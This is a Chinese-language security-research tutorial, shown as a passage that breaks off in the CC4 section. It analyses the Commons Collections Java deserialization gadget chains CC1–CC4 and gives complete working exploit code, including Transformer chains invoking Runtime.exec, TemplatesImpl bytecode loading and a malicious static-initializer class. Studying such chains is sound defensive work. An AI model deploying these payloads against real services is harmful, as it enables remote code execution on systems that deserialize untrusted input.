↑ ↓ to pick a post, enter to open it

    keys

    /
    search
    ← →
    newer / older
    ?
    these keys

    ← article

    CC链(Commons-Collections 反序列化)

    · #安全研究 #Java #反序列化

    contents
    1. CC1
    2. CC2
    3. CC3
    4. CC4
    5. CC5
    6. CC6
    7. CC7

    Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为 Apache 开放项目的重要组件,Commons Collections 被广泛的各种 Java 应用的开发

    Commons Collections 组件反序列化漏洞的反射链也称为 CC 链,有 CC1 到 CC7

    • CC1
      • TransformMap:朴素
      • LazyMap:动态代理触发 invoke
    • CC2
      • 基于 CC4
      • 不使用 Transformer 数组,使用 InvokerTransformer
    • CC3
      • 动态加载类执行恶意代码
      • InstantiateTransformer 触发 TrAXFilter 构造函数
    • CC4
      • CC 4.x InvokerTransformer 无法序列化
      • 另一条链子,后面使用 CC3 的 InstantiateTransformer
    • CC5
      • 后半部分为 LazyMap get
      • 前半部分为 BadAttributeValueExpException
    • CC6
      • hashCode 方法后常见利用链 xxx.readObject() -> HashMap.put() -> HashMap.hash() -> 后续利用链.hashCode()
      • 空白类占位 + 反射修改 解决构造时触发链条
    • CC7
      • LazyMap get 的另一条链子
      • 仔细审计逻辑,hash 冲突

    CC1

    CC1 链分为 TransformMap 版和 LazyMap 版

    环境搭建

    • Commons Collections <= 3.2.1
    • Java < 8u71

    Java Archive Downloads - Java SE 8 下载并安装 java8u65(选 JDK),进入安装目录创建 src 文件夹,把 src.zip 中的内容解压到 src 文件夹中

    jdk8u/jdk8u/jdk: af660750b2f4 点左边的 zip 下载 zip 压缩包,解压后把 /src/share/classes 里的 sun 文件夹拷贝到 java 安装目录的 src 文件夹中

    打开 IDEA 创建项目,构建系统选择 Maven,JDK 选择刚才安装的 java8u65,进入后 文件 -> 项目结构 -> SDK -> 源路径,把刚才创建的 src 文件夹添加到源路径下

    打开 pom.xml 添加以下依赖包到 <dependencies> </dependencies> 内(自己创建在 <project> 内):

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
    <dependency>  
        <groupId>commons-collections</groupId>  
        <artifactId>commons-collections</artifactId>  
        <version>3.2.1</version>  
    </dependency>

    视图 -> 工具窗口 -> Maven 打开 Maven 窗口,项目名 -> 依赖项 -> commons-collections:commons-collections:3.2.1 右键选择下载源代码

    在 /src/main/java 新建 Main 类,写入如下代码:

    import org.apache.commons.collections.*;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.map.TransformedMap;  
      
    import java.util.HashMap;  
    import java.util.Map;  
      
    public class Main {  
      
        public static void main(String[] args) throws Exception {  
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码  
            Transformer[] transformers = new Transformer[] {  
                    new ConstantTransformer(Runtime.class),  
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),  
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),  
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})  
            };  
      
            //将transformers数组存入ChaniedTransformer这个继承类  
            Transformer transformerChain = new ChainedTransformer(transformers);  
      
            //创建Map并绑定transformerChina  
            Map innerMap = new HashMap();  
            innerMap.put("value", "value");  
            //给予map数据转化链  
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  
      
            //触发漏洞  
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();  
            //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式  
            onlyElement.setValue("foobar");  
        }  
    }

    运行,如果配置没问题运行会弹出计算器窗口

    TransformMap 版 CC1 攻击链分析

    寻找尾部 exec

    查看 Transformer 接口:

    Ctrl + Alt + B 查看实现接口的类(或者对 Transformer 右键 转到 -> 实现)

    整条链子需要用到 InvokerTransformer,ChainedTransformer,ConstantTransformer 三个实现,现在看最主要的 InvokerTransformer:

    发现在 transform 中存在反射调用任意对象方法,可以作为链的结尾,先尝试利用一下:

    import org.apache.commons.collections.functors.InvokerTransformer;  
      
    public class InvokeTransformerTest {  
        public static void main(String[] args) {  
            Runtime runtime = Runtime.getRuntime();  
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 
            invokerTransformer.transform(runtime);  
        }  
    }

    成功调出了计算器。

    接下来需要调用了 transform 方法的不同名函数

    初步寻找

    右键 -> 查找用法 可以列出所有调用这个方法的地方(找不到可以 Ctrl + Alt + Shift + F7,作用域选择所有位置)

    发现 TransformMap 类中存在 checkSetValue 方法调用了 transform 方法:

    其中的 valueTransformer 成员在构造函数中传入:

    但是构造函数是 protected 的,寻找发现在 decorate 静态方法中创建了 TransformMap 对象(这是一个工厂方法):

    到此,再次尝试构造攻击代码,逻辑为创建 TransformMap,创建时 valueTransformer 传入构造好的 InvokerTransformer 对象,然后通过反射强行调用 protected 的 checkSetValue 方法,checkSetValue 方法调用 valueTransformer 成员(InvokerTransformer)的 transform 方法(在此过程中层层传递当前 Runtime 对象),反射执行 Runtime 的 exec 方法:

    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.map.TransformedMap;  
      
    import java.lang.reflect.Method;  
    import java.util.HashMap;  
    import java.util.Map;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            Runtime runtime = Runtime.getRuntime(); // 获得当前 Runtime 对象  
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 
            // 构造用于执行 Runtime 对象 exec 方法的 InvokerTransformer
            HashMap<Object, Object> hashMap = new HashMap<>(); // 无意义,用于填充 TransformedMap 构造函数的第一个参数  
            Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
            // 创建一个含特殊 InvokerTransformer 对象的 TransformedMap
            Class<TransformedMap> transformedMapClass = TransformedMap.class; // 反射
            Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); // 反射  
            checkSetValueMethod.setAccessible(true); // 关闭访问控制  
            checkSetValueMethod.invoke(decorateMap, runtime); // 调用 checkSetValue 方法  
        }  
    }

    继续寻找

    继续查找哪里调用了 checkSetValue 方法:

    发现 AbstractInputCheckedMapDecorator 类的内部类 MapEntry 的 setValue 方法调用了 parent.checkSetValue(value)

    AbstractInputCheckedMapDecorator 是一个抽象类(装饰器),是 TransformMap 的父类

    (向上跟其实能发现这个方法就是在 Map 中对一组 entry(键值对)进行 setValue() 操作)

    所以在 Map 遍历时调用 setValue,就会走过这个 setValue,而这个 setValue 就会调用 parent.checkSetValue,parent 根据结构,就是外部类 AbstractInputCheckedMapDecorator,AbstractInputCheckedMapDecorator 又是 TransformMap 的父类,所以 parent.checkSetValue 就是调用 TransformMap 对象的 checkSetValue 方法,可以写一段代码来验证:

    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.map.TransformedMap;  
      
    import java.util.HashMap;  
    import java.util.Map;  
      
    public class Test {  
        public static void main(String[] args) {  
            Runtime runtime = Runtime.getRuntime();  
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 
            HashMap<Object, Object> hashMap = new HashMap<>();  
            hashMap.put("key", "value");  
            Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);  
            for (Map.Entry entry:decorateMap.entrySet()){  
                entry.setValue(runtime);  
            }  
        }  
    }

    在 AbstractInputCheckedMapDecorator.MapEntry.setValue 方法和 TransformMap.checkSetValue 方法里打上断点,调试发现确实会停在这两个断点处

    所以现在需要找一个会调用 setValue 方法的 readObject 反序列化方法

    找 readObject

    在 setValue 处查找,发现了 AnnotationInvocationHandler 类在反序列化时会调用 memberValue.setValue:

    查看逻辑,发现要调用 setValue 方法,我们需要通过两个 if:

    • memberType != null
    • !(memberType.isInstance(value) || value instanceof ExceptionProxy)

    然后 AnnotationInvocationHandler 构造函数的作用域为 default,所以需要通过反射的方式调用

    这样总体的攻击链构造逻辑就确定了,但需要解决几个问题

    构造 EXP

    问题1:Runtime 对象不能序列化

    Runtime 对象不能序列化,但是 Runtime.class 可以序列化,所以可以用反射执行 Runtime.getRuntime() 在反序列化时获取 Runtime 对象(而不是在序列化字节流中读出 Runtime 对象)

    先写一个普通的反射:

    Class c = Runtime.class;  
    Method method = c.getMethod("getRuntime");  
    Runtime runtime = (Runtime) method.invoke(null, null); // getRuntime 是静态方法,没有对象
    runtime.exec("calc");

    把它改写成使用 InvokerTransformer.transform 反射调用的形式:

    Class c = Runtime.class;  
    Method method = (Method) (new InvokerTransformer ("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})).transform(c);  
    Runtime runtime = (Runtime) (new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})).transform(method);  
    (new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})).transform(runtime);

    不难发现后三行有共同特点,都是调用某个 InvokerTransformer 对象的 transform 方法,并且后一个的参数是前一个的结果

    所以可以使用 ChainedTransformer 类:

    它接收一个 Transformer 接口数组作为成员,调用 transform 时传入初始对象,迭代调用数组里每一个 Transformer 接口实现对象的 transform 方法,刚好符合上面的代码,所以可以改写成这样:

    Transformer[] transformers = new Transformer[]{  
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
    chainedTransformer.transform(Runtime.class);

    这样就解决了 Runtime 不能反序列化,并且解决了改用 Runtime.class 后漏洞无法调用多步 transform

    问题2:如何解决两个 if

    (AnnotationInvocationHandler 类的构造函数需要传入两个参数,第一个是注解类的 class,第二个是 Map<String, Object> 对象)

    查看代码:

    private void readObject(java.io.ObjectInputStream s)  
        throws java.io.IOException, ClassNotFoundException {  
        s.defaultReadObject();  
      
        // Check to make sure that types have not evolved incompatibly  
      
        AnnotationType annotationType = null;  
        try {  
            annotationType = AnnotationType.getInstance(type);  
        } catch(IllegalArgumentException e) {  
            // Class is no longer an annotation type; time to punch out  
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");  
        }  
      
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
      
        // If there are annotation members without values, that  
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
            String name = memberValue.getKey();  
            Class<?> memberType = memberTypes.get(name);  
            if (memberType != null) {  // i.e. member still exists  
                Object value = memberValue.getValue();  
                if (!(memberType.isInstance(value) ||  
                      value instanceof ExceptionProxy)) {  
                    memberValue.setValue(  
                        new AnnotationTypeMismatchExceptionProxy(  
                            value.getClass() + "[" + value + "]").setMember(  
                                annotationType.members().get(name)));  
                }  
            }  
        }  
    }

    memberType 来自 memberTypes.get(name),name 是 memberValue.getKey()(遍历键值对的键名称),memberTypes 来自这段:

    AnnotationType annotationType = null;  
    try {  
    	annotationType = AnnotationType.getInstance(type);  
    } catch(IllegalArgumentException e) {  
    	// Class is no longer an annotation type; time to punch out  
    	throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");  
    }  
    
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();  

    type 是构造时传入的注解类的 Class,AnnotationType 是一个用来存储注解类元数据的类(像 Class,但是 AnnotationType 专门存注解类的元数据)。

    getInstance 是一个工厂方法,传入注解类 Class,创建一个存储这个注解类信息的 AnnotationType 对象。

    memberTypes 是 AnnotationType 类的一个方法,返回 (注解成员名,注解成员类型的 Class) 的 Map

    memberValues 本意是存储注解类里成员对应的值的,键为成员名,值为对应的值。

    第一个 if 是确保我从 memberValues 取出的成员名在现在的注解类里存在

    第二个 if 是检查这个成员对应的值的类型是否为注解类里定义的类型(或者是异常占位对象),如果非法就 setValue 把这个键值对改成别的东西

    所以需要找一个有成员的注解类,并且传入的 Map 中键名需要在这个注解类中有对应的成员名,值则其类型不能是这个成员定义的类型

    发现 Target 注解类有叫做 value 的成员,所以传入的 Map 中有 ("value",随便什么) 就可以达成两个 if 的条件了

    问题3:无法控制 setValue 的参数

    根据代码,传入 setValue 的是一个 AnnotationTypeMismatchExceptionProxy 类,无法控制,我们需要找个东西可以控制,使得漏洞进入 ChainedTransformer.transform 迭代时初始对象是 Runtime.class

    查看 ConstantTransformer:

    发现他的 transform 方法始终返回 iConstant 成员,不管参数

    所以将 ConstantTransformer 加到 ChainedTransformer 链条的开头,就可以控制迭代的初始对象了

    EXP
    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.map.TransformedMap;  
      
    import java.io.*;  
    import java.lang.annotation.Target;  
    import java.lang.reflect.Constructor;  
    import java.util.HashMap;  
    import java.util.Map;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
                    new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象  
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), 
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            HashMap<Object, Object> hashMap = new HashMap<>();  
            hashMap.put("value","robin"); // 保证两个 if 的通过  
            Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);  
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
            Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
            // 反射获得 AnnotationInvocationHandler 的构造方法  
            aihConstructor.setAccessible(true);  
            Object o = aihConstructor.newInstance(Target.class, transformedMap);  
            // 传入 Target 注解类的 class 和构造好的 Map  
            
            // 序列化反序列化  
            serialize(o);  
            unserialize("ser.bin");  
        }  
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    流程图

    LazyMap 版 CC1 攻击链分析

    前面到 TransformMap 前和上文一样,这次找 LazyMap

    寻找链条

    发现 LazyMap 的 get 方法里调用了 factory 的 transform 方法,作用域为 public。看一下这个类的构造函数:

    LazyMap 和 TransformMap 一样,需要通过 decorate 工厂方法实例化,需要传入一个 Map 和一个 Transformer 接口的实现(factory)

    接下来找谁调用了 LazyMap.get(),发现 AnnotationInvocationHandler.invoke() 里调用了 get:

    接下来思考如何触发 AnnotationInvocationHandler.invoke()

    看到 invoke,加上 AnnotationInvocationHandler 是 InvocationHandler 接口的实现,想到动态代理。当一个类被动态代理(用某个 InvocationHandler 实现处理方法调用)时,当调用这个类的某个方法后,就会调用这个 InvocationHandler 实现的 invoke 方法

    接下来的入口点和 TransformMap 一样,还是看 AnnotationInvocationHandler 的 readObject 反序列化方法,但是方向不一样:

    注意到这句话:for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

    其中调用了 memberValues.entrySet(),那么我们传入代理对象(InvocationHandler 实现为构造好的 AnnotationInvocationHandler 对象)作为 memberValues 的值,当调用 memberValues.entrySet() 时,就会调用 AnnotationInvocationHandler.invoke() 方法,完成整个链条的调用。

    EXP

    注意 EXP 中有两个 AnnotationInvocationHandler 对象,第一个是作为 InvocationHandler 实现(因为 AnnotationInvocationHandler 是注解代理所以构造时不需要一个实例化对象),第二个是作为反序列化的入口(看中内部有可以控制对象的方法调用)

    注意原来 memberValues 需要一个 Map 对象,所以理论上应该传入一个 Map 对象代理,所以构造代理对象时参数需要按照代理 Map 对象时填写,但是由于第三个参数只限制为 InvocationHandler 接口的实现,所以可以填 AnnotationInvocationHandler 对象(虽然这个 InvocationHandler 实现理论上是注解代理,里面没有实例化的对象),所以运行后会报错,但是只看调用链的话依旧会走完整个调用链调出计算器

    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.map.LazyMap;  
    import org.apache.commons.collections.map.TransformedMap;  
      
    import java.io.*;  
    import java.lang.annotation.Target;  
    import java.lang.reflect.Constructor;  
    import java.lang.reflect.InvocationHandler;  
    import java.util.HashMap;  
    import java.util.Map;  
    import java.lang.reflect.Proxy;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            HashMap<Object, Object> hashMap = new HashMap<>();  
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
            Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
            aihConstructor.setAccessible(true);  
            InvocationHandler o1 = (InvocationHandler) aihConstructor.newInstance(Target.class, lazyMap);  
            // o1 作为 InvocationHandler 实现,构造时 factory 传入构造好的 lazyMap
    		Map<String, Object> proxy = (Map<String, Object>) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, o1);  
            // 构造代理对象,以 o1 作为 InvocationHandler 实现  
            Object o2 = aihConstructor.newInstance(Target.class, proxy);  
            // o2 作为入口,传入构造好的代理对象  
      
            serialize(o2);  
            unserialize("ser.bin");  
        }  
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    流程图

    CC2

    基于 CC4 的修改,避免使用 Transformer 数组,使用 InvokerTransformer

    环境

    • Commons Collections 4.0
    • Java 8u65

    分析

    根据 PriorityQueue 的实现:

    是将 PriorityQueue 中的元素传入 transform 方法中,所以占位时直接用 templates 对象即可:

    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
    priorityQueue.add(templates);  
    priorityQueue.add(templates);

    再根据 newTransformer 方法的定义构造 InvokerTransformer:

    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});  

    替换掉 CC4 EXP 对应部分即可:

    EXP

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
    import org.apache.commons.collections4.comparators.TransformingComparator;  
    import org.apache.commons.collections4.functors.ChainedTransformer;  
    import org.apache.commons.collections4.functors.ConstantTransformer;  
    import org.apache.commons.collections4.functors.InvokerTransformer;  
      
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.nio.file.Files;  
    import java.nio.file.Paths;  
    import java.util.PriorityQueue;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            TemplatesImpl templates = new TemplatesImpl();  
            Class templatesClass = templates.getClass();  
            Field nameField = templatesClass.getDeclaredField("_name");  
            nameField.setAccessible(true);  
            nameField.set(templates,"Drunkbaby");  
      
            Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");  
            bytecodesField.setAccessible(true);  
            byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));  
            byte[][] codes = {evil};  
            bytecodesField.set(templates,codes);  
      
            Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
            tfactoryField.setAccessible(true);  
            tfactoryField.set(templates, new TransformerFactoryImpl());  
            InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});  
            //  instantiateTransformer.transform(TrAXFilter.class);  
            TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));  
            PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
            priorityQueue.add(templates);  
            priorityQueue.add(templates);  
      
            Class c = transformingComparator.getClass();  
            Field transformersField = c.getDeclaredField("transformer");  
            transformersField.setAccessible(true);  
            transformersField.set(transformingComparator, invokerTransformer);  
      
            serialize(priorityQueue);  
            unserialize("ser.bin");  
        }  
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    CC3

    CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。但是很多时候服务器代码当中的黑名单会选择禁用 Runtime

    CC3 链是通过动态加载类加载机制来实现自动执行恶意类代码

    环境

    • Commons Collections 3.2.1
    • Java 8u65

    TemplatesImpl 解析

    原理

    在类的动态加载中,有一种利用 ClassLoader.defineClass 直接加载字节码的方法:

    loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行 findClass

    对于 findClass 方法,它根据名字的位置加载 .class 字节码,然后使用 defineClass(一般由子类实现)

    protected Class<?> findClass(String name) throws ClassNotFoundException {  
        throw new ClassNotFoundException(name);  
    }

    例如 NetworkClassLoader 的实现:

    class NetworkClassLoader extends ClassLoader {
        String host;
        int port;
    
    	public Class findClass(String name) {
            byte[] b = loadClassData(name);
            return defineClass(name, b, 0, b.length);
        }
        private byte[] loadClassData(String name) {
            // load the class data from the connection
        }
    }
    // 子类的实现方式

    defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类(defineClass 方法有局限性,它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance 的实例化)

    分析

    Find usages 找到 TemplatesImpl 类的静态内部类 TransletClassLoader 中:

    这个方法没有作用域,默认为 default,自己的类内可以调用。继续,找到 TemplatesImpl.defineTransletClasses:

    作用域为 private,继续找,找到 TemplatesImpl.getTransletInstance:

    还是 private(这个方法内有 newInstance 方法,可以实例化),继续找,找到 newTransformer:

    这个方法是 public 的,可以从这里进入

    利用

    利用需要分析一些限制条件:

    • _class 应该为 null
    • _name 不应该为 null
    • _bytecode 应该为一个二维数组,存储多条字节码的字节数组(一维为每条指令,一维为指令的每个字节码)
    • _tfactory 不应该为 null

    先写一个静态恶意类 calc.class 并编译(静态类在初始化时会自动运行代码):

    import java.io.IOException;  
      
    public class Calc {  
        static {  
            try {  
                Runtime.getRuntime().exec("calc");  
            } catch (IOException e){  
                e.printStackTrace();  
            }  
        }  
    }

    _tfactory 需要不为 null,但是 _tfactory 定义如下:

    private transient TransformerFactoryImpl _tfactory = null;

    transient 关键字代表成员不会被序列化,反序列化无法控制这个成员

    在 readObject 中有 _tfactory 的初始化定义:

    模拟时直接反射把 _tfactory 设为 TransformerFactortImpl 即可

    还有一个限制条件在 defineTransletClasses 中:

    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
        _transletIndex = i;  
    }  
    else {  
        _auxClasses.put(_class[i].getName(), _class[i]);  
    }

    传入字节码的类需要继承 AbstractTranslet,补上继承和 IDE 自动补全的 override 的方法:

    import com.sun.org.apache.xalan.internal.xsltc.DOM;  
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
      
    import java.io.IOException;  
      
    public class Calc extends AbstractTranslet {  
        static {  
            try {  
                Runtime.getRuntime().exec("open -a Calculator");  
            } catch (IOException e){  
                e.printStackTrace();  
            }  
        }  
      
        @Override  
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
      
        }  
      
        @Override  
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
      
        }  
    }

    EXP:

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
      
    import java.lang.reflect.Field;  
    import java.nio.file.Files;  
    import java.nio.file.Paths;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            TemplatesImpl templates = new TemplatesImpl();  
            Class templatesClass = templates.getClass();  
            Field nameField = templatesClass.getDeclaredField("_name");  
            nameField.setAccessible(true);  
            nameField.set(templates,"Drunkbaby");  
      
            Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");  
            bytecodesField.setAccessible(true);  
            byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));  
            byte[][] codes = {evil};  
            bytecodesField.set(templates,codes);  
      
            Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
            tfactoryField.setAccessible(true);  
            tfactoryField.set(templates, new TransformerFactoryImpl());  
            templates.newTransformer();  
        }  
    }

    这个方法可以替代掉 CC1 和 CC6 最后的 Runtime.exec

    CC3

    分析

    寻找谁调用了 newTransformer:

    主要有 4 个,考虑使用 TrAXFilter

    Process 在 main 里面,是作为一般对象用的,所以不用它 getOutPropertie 是反射调用的方法,可能会在 fastjson 的漏洞里面被调用 TransformerFactoryImpl 无法序列化,构造函数难传参

    TrAXFilter 也无法序列化,但是它的构造函数里有这句话:

    _transformer = (TransformerImpl) templates.newTransformer();

    只需要执行这个类的构造函数就可以触发

    使用 InstantiateTransformer 这个 Transformer 实现,InstantiateTransformer 用于初始化 Transformer:

    刚好可以触发构造函数,代码如下:

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InstantiateTransformer;  
      
    import javax.xml.transform.Templates;  
    import java.lang.reflect.Field;  
    import java.nio.file.Files;  
    import java.nio.file.Paths;  
      
    // TemplatesImpl 的 EXP 编写  public class Test {  
        public static void main(String[] args) throws Exception{  
            TemplatesImpl templates = new TemplatesImpl();  
            Class templatesClass = templates.getClass();  
            Field nameField = templatesClass.getDeclaredField("_name");  
            nameField.setAccessible(true);  
            nameField.set(templates,"Drunkbaby");  
      
            Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");  
            bytecodesField.setAccessible(true);  
            byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));  
            byte[][] codes = {evil};  
            bytecodesField.set(templates,codes);  
      
            Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
            tfactoryField.setAccessible(true);  
            tfactoryField.set(templates, new TransformerFactoryImpl());  
      
            Transformer[] transformers = new Transformer[]{  
                    new ConstantTransformer(TrAXFilter.class), // 控制迭代链条的初始传入对象  
                    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            chainedTransformer.transform(1);  
        }  
    }

    EXP

    后边接上 CC1 的 TransformMap/LazyMap 或者 CC6 即可

    CC4

    因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化

    环境

    • Commons Collections 4.0
    • Java 8u65
    <dependency>  
     <groupId>org.apache.commons</groupId>  
     <artifactId>commons-collections4</artifactId>  
     <version>4.0</version>  
    </dependency>

    分析

    后半部分和 CC3 一样:InstantiateTransformer -> TrAXFilter -> TemplatesImpl

    在 TransformingComparator 的 compare 方法中调用了 transform 方法(compare 方法在其他地方很常见):

    PriorityQueue 中的 siftDownUsingComparator 调用了 compare:

    继续找,发现在同一个类中进行的调用

    利用

    限制条件

    heapify 内有 for (int i = (size >>> 1) - 1; i >= 0; i--),需要 size 大于等于 2。size 是 PriorityQueue 的长度,所以往里面 add 几个元素

    写出这样的 EXP:

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
    import org.apache.commons.collections4.Transformer;  
    import org.apache.commons.collections4.comparators.TransformingComparator;  
    import org.apache.commons.collections4.functors.ChainedTransformer;  
    import org.apache.commons.collections4.functors.ConstantTransformer;  
    import org.apache.commons.collections4.functors.InstantiateTransformer;  
      
    import javax.xml.transform.Templates;  
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.nio.file.Files;  
    import java.nio.file.Paths;  
    import java.util.PriorityQueue;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            TemplatesImpl templates = new TemplatesImpl();  
            Class templatesClass = templates.getClass();  
            Field nameField = templatesClass.getDeclaredField("_name");  
